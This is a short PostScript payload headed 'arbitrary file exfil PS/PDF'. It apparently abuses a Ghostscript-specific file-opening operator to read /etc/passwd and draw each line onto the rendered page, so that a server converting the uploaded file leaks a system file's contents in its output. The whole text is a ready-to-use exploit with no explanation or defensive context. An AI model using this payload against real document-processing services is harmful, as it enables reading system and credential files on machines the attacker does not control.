arbitrary file exfil PS/PDF

%!PS
/Buf 1024 string def % line buffer

/Courier 16 selectfont            % name and size of font
/LM 0 def                         % x coord
/ypos 700 def                     % y coord
/lineheight 16 def                % height of a line
/newline {                        % function for changing lines
    ypos lineheight sub
    /ypos exch def
    LM ypos moveto
} def
LM ypos moveto                    % move to starting coords

(/etc/passwd) .libfile {
    {
        dup Buf readline
        {
            show
        }{
            showpage
            quit
        } ifelse
        newline
    } loop
} if